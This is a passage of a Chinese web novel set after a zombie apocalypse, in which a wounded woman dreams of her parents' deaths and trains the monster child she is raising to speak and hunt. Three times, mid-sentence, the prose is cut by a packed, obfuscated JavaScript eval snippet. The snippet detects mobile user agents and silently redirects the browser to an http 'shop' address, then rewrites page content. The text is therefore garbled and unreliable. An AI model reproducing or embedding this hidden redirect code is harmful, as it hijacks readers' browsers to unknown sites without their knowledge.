一路上我都很警惕,小怪物紧紧抓着我,一点声音都不敢出。回到家后,我关上了大门,把门栓拴上,径直来到水井面前,咬牙脱下了身上的衣服,就着之前打出来的水,舀起一勺淋在肩膀上。鲜血顺着水珠落在地上,不一会儿汇成了一片红色的水泊。我曲起手肘,把衣服卷成一团放在手肘窝里用力压着,用冰凉的井水冲刷伤口。 不用照镜子我都知道自己现在样子多狼狈,我起身的时候感到脑子里一阵眩晕,扶住了水井上的压水柱子才没摔倒,走进房里找出一些布条裹好伤口。可是伤口一直不停在流血,我坐在床上闭了一下眼睛,抬手用力按压锁骨下的凹陷给自己止血,按得我眼前一阵发黑。 我好久没有受过伤了。血腥味让我有一点茫然,又好像是让我冷静了很多。我想起自己刚才的状态,我应该是在害怕的,就像从前很多次一样,受伤了,就会害怕自己就这样轻易的死了。 我又想到了小怪物,它好像被吓得不轻。 “咩咩……”我抬起头,看到小怪物缩在门口,朝我轻轻的喊。它半个身子都是湿的,刚才我冲伤口的时候它离我太近。大概过来的时候还摔跤了,身上都是泥。 我朝它招招手,它立即就站起来往我这边跑,没跑出两步又摔倒了,然后一声不吭的爬起来往我这边蹭。一挨到我身上就开始瑟瑟发抖,嗓子里发出轻轻的嗝声。 吓成这样,太娇气了。 我用完好的那只手摸了摸它柔软的黑色头发,然后起身摸到床边柜子里给它翻了件干净衣服。 “你自己换上吧。” “我先休息一下,吃的家里有,你饿了就自己去拿。”小怪物会自己找吃的,这一点我倒是不担心。 我倒在床上沉沉睡去。 这一觉睡醒之后,感觉比之前糟糕多了,肩上露出来的布条凝血变黑,我整个手臂和肩几乎都没什么知觉,眼前更是一片放光,天旋地转的。 很糟糕,我发烧了,意料之中,肩上的伤口应该是感染了。 小怪物扒在床边,没有换衣服,好像也没动过,睁着一双大眼睛看着我,见我醒了,立刻咩咩的叫,小爪子勾上了我的手。 我侧头看它。 这样一个还不能理解我说话的家伙,要是我死了,它怎么办?也许很快就会被周围的什么东西给吃了吧。如果它足够好运,或许能多活一段时间。 15. 015 知了在树上鸣叫,没完没了的,在这种聒噪的叫声里,好像连太阳都烈了两分。 我推开爸妈的房门,探着身子往里看了一眼,老妈睡在床上没动,身上盖了一层薄被。这么热的天,房间里没开空调,只有一个风扇对着一边嗡嗡的吹着,又闷又热。 大门被打开的声音响起,我轻轻关上房门,趿拉着拖鞋走到客厅。 老爸提着两个西瓜走进来,一边换上拖鞋,一边关门。 “爸,妈还没醒,要不要带她去看医生啊?” 老爸抬手把西瓜放桌上,看了一眼房门,眼里有点担忧,嘴里却说:“不碍事,你妈那个人你知道的,就是不喜欢吃药去医院,她说睡一觉出出汗就好了。晚上要是还不退烧,我再带她去医院吊水。” “哦。”我应了一声,跑到冰箱那里掏小布丁。 “你今天吃两个了吧,不要再吃冰棍了,等会儿跟你妈一样病倒了,越是这个时候越要注意,你妈就是说热空调开太低才会生病,你自己也要小心,我刚才下去买西瓜,小区诊所都坐满了人了,全都是发烧的……” 我对着冰箱门翻了个白眼,把手里的小布丁扔回去,哐的关上了冰箱门,“行行行,我不吃了行了吧。” 我拿了一个他放在桌上的西瓜敲了敲,“我吃西瓜总行了吧!” 老爸把手里的钥匙放在桌上,从我手里拿过西瓜,“我去切,毛手毛脚待会儿切到手。” 我急忙跟在他身后喊,“爸,我要切成两半的挖着吃!” “就你事多。”老爸嘴里这么说,还是切了一半给我。 我从橱柜里拿出勺子,在西瓜中间挖了个洞,把那块没有籽的鲜红瓜瓤塞进嘴里。挖西瓜吃的时候,这一下就是最幸福的。我抱着西瓜咬着勺子,准备去开电视,老爸又唠叨上了。 “你作业做完没有哦?还有半个月要上学,你明年都高三了,别总是想着玩,抓紧点时间学习。” 整天就是学习学习,我心里很烦,一言不发的走回自己的房间关上门。过一会儿,客厅里响起三国演义的声音,中央台放了多少年了,每年暑假都放,我爸也不知道看了多少遍了,一直都看不厌。 “滴”我打开空调站在风口底下吹了一会儿凉风,感觉整个人都清爽了,抱着西瓜坐在电脑桌前面吃。右下角的□□嘀嘀嘀的闪动,我点开来,发现是班上的群里正在讨论补习班,马上要高三了,不少人都要报补习班。 我不感兴趣,反正我不报,烦死了,叉掉这个对话框,又弹出来一个,这回是我的好朋友余凉凉,她家和我家住一个小区,就是不在一个单元。 她说:姜苓姜苓!你知不知道!咱们班班长跟二班那个林湘谈恋爱了! 我一口西瓜呛住,不敢置信的打字回她:不可能吧! 余凉凉也在线,很快就回了过来,她继续说:死胖子亲眼看到他们去看电影,还去吃饭了!我的天! 我想了想班长平时那做派,还是觉得有点不敢相信,回道:学校都说了不能谈恋爱,高三抓到就要全校通报批评的,班长还敢这样做啊,他就不怕被他妈骂? 余凉凉说:谁知道呢,那个林湘你又不是不知道,跟好几个男生都勾勾搭搭的,肯定是把咱们班长骗了呗。 林湘的人缘在女生里面确实不太好,我也不怎么喜欢她。又聊了一阵,余凉凉那边有事下线了,我叉掉对话框点开网页看番。 可看了一会儿心里总想着刚才那事,这个年纪,大家对于恋爱都是好奇又不敢主动,谁和谁真的走到一起去了,立刻私底下就能传遍,大家一边讨论,觉得这事很悬,可心里同时又觉得有点羡慕,还有点跃跃欲试。 十六七岁,本来就是这样一个充满了矛盾的时间,就和这个夏天一样,令人躁动。 我躺在床上戴着耳机听音乐睡午觉,醒过来的时候发现睡过了头,已经是下午五点半了。耳机里的音乐还在放,我扯下耳机揉了揉耳朵。睡太久脑子里都一片浆糊,有点分不清现在是什么时间,有那么一刹那感觉半辈子都过去了。我从床上坐起来缓了一会儿,觉得有点奇怪,我爸这个时间还没来叫我?平时他都说午睡不能超过两个小时的。 我打开门往外看了一眼,客厅里的三国演义还在放,正在播放片尾曲,唱到“兴亡谁人定啊盛衰岂无凭。”客厅里的风扇呼呼作响,老爸不知道去哪了。 爸妈的房门还是紧闭着的,我心想,难道老爸也去午睡了?可他怎么没关电视和风扇? 我走近那扇紧闭的房门,想看看我妈是不是还在睡。 握着门把手将门推开,随着热风一齐扑过来的还有一股腐烂的臭味和浓烈的血腥味。 我爸倒在地上,他的老式白衬衫上全都是血,鼻梁上的眼镜砸在一边,半张脸都没了,血肉模糊的。他的肩膀和胳膊,还有大半的胸膛都空了,一个浑身是血的身影扑在他身上撕咬,从那张半腐烂的面容上,依稀能看出老妈的影子。 她保养的很好的黑发掉了一大半,身上的皮肤开绽龟裂,血迹一直从她身下延伸到床上。床上地板上衣柜门,整个房间里到处都是血块肉块。 我愣愣的看着这一切,手还放在门把手上没有移开。死死盯着他们,我忽然感觉自己的肩膀也抽疼起来。 “妈……爸……你们怎么了……?” “妈?” 为什么,你好像变成电影里面那种丧尸了?我是不是还在做梦? 带着腐烂臭味的人从尸体边站起来,朝我一步步走了过来。我大口喘着气往后退,然后飞快的跑回自己的房间关上了门。跌坐在地的我盯着门,忍不住用力捏住了自己的手。 “我在做梦,这不是真的,我在做梦,赶紧醒过来!爸!妈!你们快叫醒我啊!” 我的房门发出了沉闷的撞击声,我一抖,又往后缩了一下。那不断的咚咚咚声让人后背发毛,门缝底下流进来一滩黑红色的液体。我抱着头哭了出来,哭的浑身颤抖。我不知道自己要怎么做,我很害怕,我只希望,如果这是一个噩梦,那等我醒过来,我爸还在客厅看电视,我妈已经睡醒没事了。 “爸,妈……” 撞击声不知道什么时候消失了,整个世界都很安静,连窗外的知了声和路边的过车声,都消失的干干净净。我感觉自己仿佛从身体里漂浮了出来,成为了一个看客。 我看着坐在地板上的那个少女浑浑噩噩,看着她忽然爬起来找手机开电脑,却发现根本没有网络和任何信号。然后又过了很久,她站起来,走出了房门。 ‘丧尸’回到房间继续吞吃‘尸体’,我看到‘我’在厨房拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726917|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那把砍西瓜的刀。 我的眼泪唰的一下流了下来,根本无法止住。‘我’还在往那个房间走,可我已经知道之后会发生的一切。那是噩梦,那是一个醒不过来的噩梦,飞溅的血肉,不再熟悉的面孔,我再也回不去的家。 我抗拒着即将发生的一切,我拼命的奔跑想要离开这里。我成功了,我夺命般的在黑暗中狂奔,然后慢慢的变成了一个小孩子。 我一低头,看到自己身上穿着一件红裙子。我妈总喜欢给我买红色的衣服,可我不喜欢,为了这个,我都闹了好几次,可小孩子哪有什么选择的权利。 我迈着短小的腿往前走,渐渐的,我忘记了自己之前看到的一切,忘记了发生的所有事情,脑子里只剩下一个念头——我要回去,我要去找我爸妈,我和他们走失了,他们一定也在找我。 身边不知道什么时候出现了很多人,这些人来去匆匆,都没有脸,我忽然害怕起来,在人群中奔跑着。 “苓苓!” 忽然间,我听到了我妈的声音,她在叫我。我一转头看见不远处,我妈和我爸站在那朝我招手。我满心的彷徨恐惧顿时全都消失不见,飞快的朝他们跑过去。 “爸!妈!” 可是我怎么都无法接近他们,而这时,一个孩子穿过我的身体,扑向了他们怀里。那是一个和我一样穿着红裙子的小女孩,她长着和我一样的脸。她扑在爸妈怀里,满脸的笑,然后他们一家三口手牵着手转身离开,把我一个人留在了原地。 他们的背影渐渐消失在了我的视野中。 我不甘心的努力朝他们消失的地方追去,可是不管我怎么努力,始终没办法追上他们。 “不要丢下我,爸,妈。” “我害怕。” “你们回来啊!” “回来啊啊啊!!!” “……求你们,别丢下我一个人……我真的……很害怕啊……” ———— “妈……” 这回,我是真的醒过来了。昏暗狭窄的房间,带着些微潮气,外面下雨了,草木的气味格外鲜明,雨点稀里哗啦的打在窗户上。我茫然的看着有点发霉的屋顶,听到自己嘴里还在喃喃的喊着妈。 肩膀上的痛在这一刻,变得剧烈起来。我想起那具被撕咬掉半个身体的尸体,忽然整个身子都痉挛着缩成一团。 就是这时,我听到了耳边响起一个嫩嫩的声音,那是小怪物的声音。 “妈、妈妈、妈……呜……妈……” 我抱着手臂满头冷汗的看过去,小怪物趴在床头,嘴里不断的喊着妈妈,绿色的大眼睛里满是泪水,顺着脸颊往下掉。 我没看过小怪物哭,它从出生起就不会哭。但现在它哭了,一边哭一边喊妈妈。它之前也不会喊妈妈,我没教过它。 “因为我刚才做梦一直在喊这个,所以你跟着我学吗?” 我刚才,在梦里那么害怕他们丢下我,所以你也是在害怕我丢下你吗? “妈妈。”小怪物仰着脑袋看我,眼里是深深的恐惧和眷恋。和我梦中那个孩子的眼神,一模一样。我仿佛变成一面镜子,照见了从前的自己。 我的眼泪忽然涌出眼眶,然后凑近他,在他脑袋上亲了亲。 “我不会丢下你的。” 16. 016 末世里有很大一部分人是生病后没能得到救治死去的,如今还幸存的人类分散在各处,哪里都不缺像我这种喜欢独自生活的人,再加上联络手段很少,基本上就形成了一个封闭的世界,只要不走出那一片,就很难遇到其他人。 没有聚居地,也就意味着没有各种生活用品,没有药物。如果生病了,不会辨认草药,只能自己硬扛,扛得过去是运气好,扛不过去也就那样简简单单的死了。 我从前也受过伤,发烧也有过几次,最严重的一次受伤同样是遇上变异动物,不过那是个大家伙。我当时后背整个皮几乎都被抓下来。那时候我跟着一个车队,车队里的人也是临时凑到一起,想找一个安稳的地方生活,谁跟谁都不是必须对对方负责的关系。 所以我会被抛弃也就是理所当然的,我还要感谢他们没有留着我,等我死了再吃掉我的尸体,而是选择把我和另外两个伤员扔在了废弃的房子里等死。 因为伤得太重,最后那两个人都死了,但我却扛了过来。那时候我的伤严重得多,在炎热的夏天里,后背一度溃烂,散发出难闻的腐臭味,连那些食腐的鸟类都被我吸引过来了。我那时有股狠劲,那些东西想吃我,我就装死让它们来吃,然后等它们啄我身上的肉,就突然出手抓住它们,再反过来把它们变成自己的食物。 这一切听上去很残酷,身处其中的人却感受不到什么,只是为了活下来而已,再漫长的痛苦等过去之后,也不过就是某段记忆。 那时候我能忍耐下来,现在就不会被这点伤给打倒。来自于记忆中的脆弱只是昙花一现,我毕竟早已不是那个只会呼喊父母的孩子。 只在床上躺了一天,我就挣扎着爬起来了,烧了一大锅热水,把几把小刀片消毒,刮掉了手臂和肩上有溃烂迹象的腐肉,然后把在外面挖的地皮藓敷上,用布条紧紧缠着。 做这一切的时候,我咬着牙,脖子上都是凸起的青筋。鲜血滴在水里,飞快的晕染,旁边的垃圾盆里装着我刮下来的烂肉沫,场面看上去大概有点可怕,小怪……姜羊这两天受了太多惊吓了,靠在我背后抖个不停。 我一边收拾刀片的时候一边就在想,姜羊姜羊,是不是我给他取的名字不对,真的像只小羊羔一样。但我觉得现在给他改名叫姜狼或者姜大老虎之类,他也不能变成一个大胆勇敢的男孩子了。 本来就是,只吃素,天真烂漫的又善良的性子,才这么小就已经初现端倪了。 我有点想叹气,我没教过孩子,不知道该怎么教姜羊。难道我要训练他变成一个像我自己这样的人?我往后瞄了一眼他泪汪汪的大眼睛,觉得还是算了吧,我没有那么厉害,而且这种东西是无法教出来的,是在生死之间摸爬滚打折腾的多了,自然就会学会的。 思来想去,我发现我完全不知道自己该怎么做。 算了,顺其自然吧。 我惨白着脸把自己的伤处理好,喝了两杯加了糖和盐的热水,出了一阵汗后感觉脑袋没有那么晕了。姜羊之前那身在泥水里滚了一下的衣服还没有换掉,从我睡觉开始,到现在,他也一点东西都没吃,只是固执的跟着我,比之前最开始那会儿粘的还要紧一些。 我转个身,一不小心就能撞着他,非常碍事。我想让他走开一点,但是看他那‘小白菜地里黄’的样子又觉得无奈,万一又哭起来,我受不了,本来就头晕。 伸手摸了摸姜羊的肚子,瘪的都凹下去了。原本是几乎全天都在不停的吃吃吃,现在好久没吃东西,难怪扁成这样。我给他拿了一罐他平时最喜欢的地莓酱开了,又拿了他平时的勺子,可是姜羊碰都不碰,爪子抓着我的衣服,蹲在我脚边,像只准备长在我腿上的蘑菇。 怎么就怕成这样呢。 “我说了,不会丢下你的。”我一手把他的脑袋转过来,跟他这么说。 可他听不懂,嘴里模模糊糊的喊了两个字,“妈妈……呜。” 我用地莓酱的瓶子撞了撞他的脸,他也不理,还转过头,干脆抱住了我的小腿,把脸往我膝盖底下藏。我坐在那皱眉,搞不懂他为什么不肯吃东西了。 不想吃地莓酱了?厨里还剩一点槐花,我拖着小怪物起来去拿,试着把槐花往他面前凑。这回他反应更大了,呜哇一声干嚎起来,力气太大,抱得我的腿都疼起来。 我看了一眼盆里的槐花,忽然有点明白过来。 他该不会是觉得我带他去摘槐花,在那里受伤了,所以再也不肯吃槐花了,还怕我因为这个生气不要他,所以干脆连东西都不吃了? 如果真是这样,那姜羊这小东西真是比我想的还要聪明。正常的人类婴儿像他这么大,大概还没法站起来走路,他就有这种小心思了。 不能沟通,就算能沟通,我也不是个会温柔安慰孩子的人,所以我干脆的按照自己的想法——不想吃就硬塞。 捏着嘴塞进去。 被我强喂了几口,姜羊瞄着我没什么表情的脸,马上学乖了,自己乖乖拿过勺子吃。就是一只爪子还勾着我的裤脚不肯放。 我觉得他这副想长在我身上的架势不能惯着,等他吃完后,就把他按坐在小椅子上,不许他再靠过来。姜羊朝我伸了两次爪子,又被我按回去两次后,不敢再伸了,背着爪子用一双满含仓惶的大眼睛看我。 我半边胳膊和手臂都不能动,就是随便动一下都是钻心的疼,所以我努力把注意力放在小怪物身上,想着怎么样教他,至少让他独立一点,不然要是以后我真的出了什么意外,没了,他也不至于把自己饿死。 还是那个问题,教什么?我和姜羊大眼对小眼,安静的对着看了老半天。 还是先教说话吧。 我指指他,说:“姜羊。”又指指我自己:“姜苓。” 姜羊:“呜哇。” 我指他面前的勺子说:“勺子。” 姜羊:“呜哇咔。” 我指凳子:“凳子。” 姜羊:“呼咔。” 这一点音都对不上,我有点郁闷的想。我教姜羊说话遇上的困难,这才刚刚开始。 先从周围能看见的东西教,可是不管我重复多少遍,姜羊就是睁着大眼睛瞧着我,也不跟着我一起念,要么念出来都是些完全对不上音的东西。 我是对他没脾气了,只能逮着机会,见到他把目光放在什么上面,就指着什么说名字。这样下来之后,虽然他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726918|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不会跟着我念,但是只要我说出什么,他就能很快把目光放在什么地方了。 我有点搞不懂姜羊是不能发出像人类一样的声音,还是单纯的太笨学不会。 养伤期间,我教姜羊说话,自己拿着柴棍子在灰堆上写字,可是我很快发现了一个不太妙的问题。 “槐花……槐……槐怎么写?”灰堆上的字只出现了一个木字旁,右边我迟迟不能落笔。我不记得槐字的右边是什么样的了,最后我把灰一抹,又说:“地莓酱……地莓……”酱字怎么写来着? 把灰默默抹平,我放下了树枝。 能对话就可以,并不需要能写出来,对吧。我很久很久没有接触过文字了,也不常写东西,会忘记一些字也很正常。 我心里有点不自在,觉得自己这老师不太正宗,但是姜羊不在意这些,我在他身边,他就满足了,虽然不跟着我念,但我说什么他都听得认认真真。我这个不太正宗的老师,教他一个不太聪明的学生。 除了教姜羊说话,我还教他用打火机和火柴生火,我希望他学会生火。可是姜羊那三根小短爪子,连打火机都按不了,也不能抓紧一小根棍子的火柴。他手上的动作一点都不灵敏,简直可以称得上笨拙了。 之前我没有刻意教他什么,现在我特意教了,他还是不会。 这些都不会也就算了,但我希望至少在遇到危险时,姜羊能举起武器保护他自己。 我的伤恢复的很快,每天换地皮藓敷和保证休息的情况下,没有感染恶化,而是很快的结痂了起来。伤口结痂后,我试着动了动手臂,虽然依旧不方便,但比之前好了很多。 我带上姜羊,给了他一把柴刀,准备带他去见点血。 “姜羊,砍死这条蛇。” 现在这个季节,各种小动物已经陆续苏醒,特别是蛇,都开始出现了,就蛰伏在各种疯长的草丛草堆里。 我拿了一根特质的蛇棍,前头有个三角叉,可以牢牢的叉住蛇头,被我叉住的蛇是条无毒蛇,身子灰灰的,也不太大。我叉住它后,让姜羊用柴刀砍。 可是姜羊拿着柴刀蹲在那条不停翻滚扭动的蛇面前,摸着人家的蛇尾巴,好像玩上瘾了,摸着摸着还抬头朝我笑。 我是带他来玩蛇的吗?不是。 我抬手一刀斩断了那条蛇的身子,鲜血就喷在姜羊身边的草地上,他愣了一下,然后拽着蛇尾巴放进了随身带的袋子里。我平时带他出门干活,抓到些什么小鸟青蛙之类,就放在那袋子里。 他装完蛇,什么都没发生似得绕着我抓身边的青草,我给它的柴刀就被他拖在身后,敲在石头上发出叮叮当的声音,他完全没有要用的意思,只把那柴刀当成一个我让他拿着的东西。 “姜羊,我是在示范给你看,让你学我知道吗?不是让你来收蛇的。”我用叉蛇的棍子指着蛇头那一截。 姜羊眨了眨眼睛,哒哒哒跑过去把那截蛇头也放进了袋子里,然后拉着袋子口朝我邀功。 我杵着棍子看他傻乐那样,又看着被他扔到一边的柴刀,觉得孩子不是一般的难教。 最后—— 蛇肉粥好喝,蛇肉加葱蒜炒着也好吃。 17. 017 伤口发痒,在长新肉,这种痒比痛更加难忍,我痒的睡不着,睁着眼睛想着地窖里存的存粮来转移注意力。 旁边的姜羊睡的好好的,忽然脚爪一弹一弹,爪子胡乱往旁边摸索过来。我按着肩膀默默往里面缩了缩,姜羊没摸到我的衣服,瞬间就惊醒了,昂一声在嘴里还没喊出来,看到我之后,就咽了回去,然后往我这边蹭了蹭,闭上眼睛继续睡觉。 其实他之前晚上睡觉的时候也会醒,我偶尔会被他的目光给惊醒,发现他睁着眼睛瞧着我,像是怕我忽然不见了。自从我受伤之后,他就越来越频繁的晚上忽然惊醒,醒来就到处找我。 这不是个好现象。 第二天一早,我拿着柴刀弹弓和一些工具,把姜羊带出去,他开始还开开心心的,后来发现我走的方向是那棵变异槐树,他就不肯去了。我直接拖着他往前走,一直走到那棵变异槐树附近,他忽然跑到我面前拦着我,抱着我的大腿往后面推,不许我过去。 姜羊嘴里呜哇呜哇个不停,非常焦急的样子。我不管不顾的捏着他的爪子,把他往树底下拖。 我之前不喜欢到这个树底下来,因为这里树枝太茂密,树冠上藏着什么东西不容易被发现,光线不好更容易被偷袭。如果不是必要,也得不到什么收益,那就最好别冒险。 但是这回我必须来,因为我准备在这里猎杀几只小东西给姜羊看看。我得让他知道,这棵变异槐树这里并不是一个能让他害怕的地方。 末世里比这里可怕的地方多得是,比那只变异狐狸可怕的敌人更多,他不能被这一点小小的意外困住,否则以后等他离开这里去到更加广阔的地方,他就会胆怯,会一步都走不出去,就像末世最开始那会儿的我,因为不敢走出去,每一步都鲜血淋漓,几次差点死去。 如果面对敌人的时候害怕了,转身逃跑了,就会很容易迎来死亡。 我要教给姜羊的是,不要害怕任何一个给他带来挫折和噩梦的地方。我不知道他能不能理解我的意思,但是我必须教他。 我已经做好了姜羊会害怕的瑟瑟发抖躲在我身后,或者立刻跑走的准备。但是,他比我想的还要好很多。在发现我不想离开这里后,姜羊主动站到了我身前。 虽然他还在紧张,甚至在发抖,但是我知道他以后会是个勇敢的男人,因为他敢站在我面前,他想保护我。 我摸摸姜羊的头发,观察着头顶上的树枝分布,找到了一个视线最好的地方。然后我拉着姜羊,来到了最稀疏的树枝底下。拉动弹弓,石子带着猎猎的风声呼啸出去,打在树冠上。 那一瞬间看上去平静的槐树上骚动起来,许多灰黑色的鸟从开满槐花的树枝上飞走,发出嗄嘎的怪声。 姜羊又是一抖,他仰头看我,我对他说:“不用怕,看着我的动作。” 我从腰间的布袋子里又拿出好几个石子,对准另外一个地方弹射出去。这些石子是之前我在河滩上捡来的,我捡了一筐,现在还没用完。 接二连三的石子惊动了变异大槐树上隐藏的许多动物,一时之间除了飞出去的各种鸟,还有不少黑影飞快的在树枝上穿梭,这里热闹的就像是另一个小型世界。 我半蹲着身子,让小怪物待在我身前,我用双手环过他,对准树枝上的某个位置,绷紧了弹弓。姜羊的目光凝在我的手上,我引导着他的视线来到头顶的树枝,然后猛然放手。 “唰。” “唧唧!”个头不大的灰皮变异野鼠发出一声痛呼,从树枝上摔了下来,不过很快它又往粗大的树根底下爬,想要躲起来。 又一颗石子射到它前面,那只行动不太方便的变异野鼠立刻转身想钻进落叶堆里,被我一柴刀剁掉了老鼠头。这只变异老鼠不大,脑袋上一侧还有个黑点。我猜它有可能是我之前杀的那只变异老鼠留下的小老鼠,因为我之前杀的那只大变异老鼠脑袋一侧,也有这么个黑点。 失去了母鼠的喂养,这只变异小老鼠能活到现在,已经是很幸运的了。如果我被杀,姜羊很有可能就会像这只变异鼠一样,被其他的东西猎杀。所以我得尽快把我会的,更多的教给姜羊。 我把老鼠拎到姜羊面前,他愣愣的看着我。我用柴刀挑开他那条口袋,把死老鼠放进去。然后拉着他,走到槐树的另一边,再次寻找合适的猎物。 他发了一会儿愣,忽然举起爪子轻轻拉了拉我的衣角。我眼睛往下瞄了他一眼,看到他捂着装死老鼠的袋子,眼睛亮晶晶,非常崇拜的看着我。 “拿好你的柴刀。“我踢了踢他拖在地上的柴刀,他反应过来,学着我一样将柴刀举着,警惕的看着周围。 我不需要他在这里猎杀什么东西,他现在也猎不到,我只希望他学会举起刀。 我又用弹弓射下来一只灰色的鸟,认不出来是什么品种,嘴巴上一圈是黄色的,脑袋上有两根格外长的黑毛。 最后的收获不多,但是在我接连好几天带着他去变异槐树那边找猎物后,姜羊不再害怕去变异槐树那边了,晚上做噩梦的频率也在降低。 既然姜羊不再害怕那边,我也就不再刻意带着他去,而是开始有意识的带着他去周边其他地方。之前姜羊好奇,但是没进去过的废弃屋子,我也带着他去。 那些屋子里面没有能用的东西了,去了也没有收获,要是之前的我,大概不会特意带姜羊进去,但是现在,这个废弃村子的每一个角落我都带他去看过。 一户人家院子里的橘子花开了,非常香,我带姜羊在树底下走了一圈,他蹲在那捡了很多掉下来的白色橘子花瓣,全都放进衣服口袋里。晚上,他把橘子花全部放在枕头底下,闻着那种隐约的香味,我做了个梦。 梦见秋天到了,那棵树上结了很多的橘子,我摘了一箩筐,结果摘完一扭头发现,树上又长出来很多橘子,怎么都摘不完,发现有吃不完的橘子,我梦里先是很高兴,然后就开始发愁,这么多橘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726919|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子要是不吃完,烂掉了多可惜,我想着就觉得心疼。 然后姜羊忽然出现对我说:“妈妈,不用担心,我可以吃掉所有的。”然后我就看着姜羊变成了一只长脖子的恐龙,像是很久以前在某些画册上看到的食草恐龙,他脖子一仰,连整棵橘子树都吃掉了。把树吃掉了,以后我们还怎么吃橘子? 我从梦中醒过来往身边一看,食草小恐龙抱着他自己的尾巴,一边睡一边咔嚓咔嚓的咬,不知道他做了个什么样的梦。 我一直关注着的那棵枇杷树上结的枇杷已经不小了,小溪边上那棵老桃树结的桃子也在慢慢长大,打眼看去,全是一个个的小果子。塘里冒出了小圆盘一样的嫩绿荷叶,野鸭子在塘边的草丛下凫水,钻进水里,过一会儿在另一边忽然冒出来。 我开始试着带姜羊去远一点的地方。 早在生下姜羊之前,我就已经决定找个时间去更远的地方收集一些生活用品,虽然那时候我没想到自己最后会接受一个小怪物。 姜羊和普通的婴儿不一样,他长得太快,我觉得也许我很快就能带他一起去更远的那个城里找点生活用品回来,也带他去看看其他的地方。那从现在开始我就得准备了,准备让姜羊试着接触这个地方之外的世界。 我带他去的是距离村子稍远一点的河滩,去那里我自己走差不多要走一个小时,带上姜羊可能会稍微慢点。河滩那边我一共才去过两次,上一次去是去年的冬天,我在那里捡了很多弹弓用的小石头。 姜羊发现我们离开平时熟悉的地方后,有点奇怪的停住了脚步,他指指后面的田和隐约露出来的破败房屋。 我给他指面前快被杂草覆盖的路,“我们今天去那边。” 他听懂了我们要去什么方向,但不知道我们要去做什么。人对于未知的东西都会害怕,选择未知的时候,也会犹豫,这很正常。我站在那等了姜羊一会儿,他踟蹰的看看前面,又看看后面。 我不再等他,径直往前面走,离开他三米之后,我用余光看到姜羊朝我跑了过来。比起离开熟悉的地方,他更害怕离开我。 走过这一条小路后,我们走上了一条大路,之前是用沥青铺的,现在有些地方已经开裂了。不过这沥青路在经过十年的风吹雨打和各种意外后,保留的比水泥马路还要好,虽然道路两边的草木长得非常葱笼,但中间还挺干净。 姜羊只是最开始有点迟疑,等我们开始往前走的时候,他的眼睛里又满是对新地方的好奇了。他盯着脚下的黑色沥青路面看,盯着道路两旁新长出来的青芒草和去年冬天留下来的枯芒草看,还盯着前面从路面上溜过去的一只花蛇看。 我能明白他的心情,当年我第一次去外地上学,离开家的时候,也是这样。 我牵着姜羊往前走,他已经一点都不害怕担心了,雀跃的像只小鸟,尾巴哒哒哒的甩动着。我们顺着沥青马路往前走,慢慢的能看到前面一片被青山环绕的河面。 18. 018 虽然能看到河面了,但从这里走过去还要一段不短的时间。 太阳越来越烈,阳光直射下来,这条马路上没什么能遮阳的地方,黑色的沥青路面又很吸热,往前走一段,一下子就出了满身的汗。 姜羊开始还好奇地东看西看,但是太阳大起来之后,他就有点奄奄。平时带他去田那边干活,有大太阳他都会跑到草堆里,或者靠山背阴的地方。现在到了夏天了,温度越来越热,几乎是一天一个样子,我穿着短袖,手臂上也被太阳晒得发烫。 不过我习惯了,但姜羊还没有,他热的尾巴都不甩了。我往路两边看,看到了一株变异的野藤,不知道是什么藤,叶子特别大,圆圆的中间还有个窝窝。我带着姜羊走过去,用柴刀割开两旁的芒草,走到那攀着枯树的野藤下。 没发现什么危险后,我才动手割断了一截野藤,这截野藤上有七八片的大叶子,我摘了一片大叶子盖在姜羊的脑袋上。 他拉着自己头顶的叶子好奇的看看,又闻了闻,然后张开了嘴,露出一口雪白的尖牙齿。 “不能吃。”我捏住他的嘴,阻止了他。 姜羊明白我的意思后,就把大叶子盖回了脑袋上,仰着脸去闻那叶子的味道。他把脑袋仰着仰着,就站不稳的摔坐在地上,然后一咕噜爬起来继续玩那片叶子。我摘了一片叶子盖在自己脑袋上,又摘下两片分别裹在姜羊两边的手臂上,再用野藤的藤条绑好。 姜羊穿的是一件大t恤,袖子比较短,下摆能遮到膝盖,因为他的脚爪子很大,还带勾,那些裤子他都穿不进去,所以我给他改了改几条小短裤,能在两边的侧面系带子,不用往两只脚上套着穿。 他手脚上面的鳞片没有了之前的软,变得越来越硬了,不过颜色还是白白的,我一直没找到姜羊能穿的鞋子,但他不管往哪里踩,覆盖着鳞片的脚爪似乎都不痛,所以我也就没管他。 我给它绑好了手臂,自己也绑了两片,然后拿着剩下的叶子带着姜羊继续往前走。 